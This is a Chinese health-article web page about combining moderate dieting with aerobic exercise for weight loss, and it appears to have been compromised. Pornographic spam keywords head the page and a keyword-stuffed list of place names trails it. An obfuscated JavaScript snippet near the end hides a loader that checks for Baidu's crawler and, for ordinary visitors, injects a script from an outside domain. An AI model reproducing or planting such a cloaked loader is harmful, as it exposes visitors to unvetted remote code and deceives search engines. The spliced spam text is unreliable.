亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥節(jié)食運動有哪些呢

2017-04-21 20:06:30  來源:360常識網(wǎng)   熱度:
導語:有的女孩子減肥就是每天吃很少的東西,進行大量的運動,其實過度的運動,很少的飲食這樣的減肥方法是非常的不可取的,很多朋友都知道如果不

有的女孩子減肥就是每天吃很少的東西,進行大量的運動,其實過度的運動,很少的飲食這樣的減肥方法是非常的不可取的,很多朋友都知道如果不采取科學的減肥運動方法的話,對健康的危害是非常的大的,那么如何進行科學的節(jié)食減肥運動呢,應該用什么樣的方法進行節(jié)食減肥好一些呢?

1.減肥的關(guān)鍵在于運動 要減肥一是節(jié)制飲食,二是加強運動。即減少攝入的熱量和盡量消耗體內(nèi)的熱量。美國專家的調(diào)查表明,要使減肥持久堅持下去,除了有節(jié)制地減少攝人的熱量外,必須增加運動量。

2.科學節(jié)食與運動的相結(jié)合 一般減少碳水化合物及脂肪攝入,僅對輕度肥胖者有效。對較重肥胖者嚴格限制飲食減肥效果不能持久,單純限制飲食能控制體重者一般不到20%,大約50%的人在2-3年內(nèi)恢復以前的體重。 通過實踐證明嚴格限制飲食常引起乏力、嗜睡,使日常活動減少,身體能耗也下降。這實際上保存了能量,使減肥效果減弱。如果僅限制飲食不進行有氧代謝運動鍛煉,就會導致肌肉減少的后果。

據(jù)有關(guān)的研究證明。在限制飲食的同時,晚餐前運動鍛煉是減少體重的最好方式。因為減體重的目的是 要減少脂肪而不是減少肌肉。運動鍛煉的時間對控制體重和脂肪有影響,在晚餐前2小時進行運動鍛煉比在其他時間運動鍛煉更能有效地減少脂肪。

3.減肥運動療法的強度 減肥運動最佳心率的計算方法為:(220一年齡-安靜心率)/2十安靜心率。從能量消耗的角度出發(fā),強度中等的運動(如長跑),可以持續(xù)較長的時間,總能量消耗就多。中等強度運動除了糖以外,脂肪是提供能量的來源。所以說,時間長、中等強度的運動對減肥效果最好。

女孩子一定要端正減肥的態(tài)度,千萬不要過度的節(jié)食,如果飲食上不注意營養(yǎng)的話,那么身體就會非常的虛弱,疾病就會容易得,對于減肥一定要采取科學有效的減肥手段,比如進行一些有效的健身運動,加上一些科學有效的節(jié)食方法,只有這樣才能夠成功的減肥。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
沈阳市| 平远县| 肥西县| 军事| 雅江县| 东乌珠穆沁旗| 镇雄县| 贡嘎县| 舟山市| 介休市| 永福县| 开江县| 花垣县| 长治县| 中江县| 岑巩县| 周口市| 海淀区| 三门峡市| 涿州市| 旺苍县| 芦山县| 湄潭县| 五寨县| 怀柔区| 远安县| 华阴市| 科技| 深州市| 彭州市| 铜川市| 中宁县| 洪洞县| 绥棱县| 安吉县| 福鼎市| 莒南县| 宝丰县| 石门县| 潼关县| 湟源县|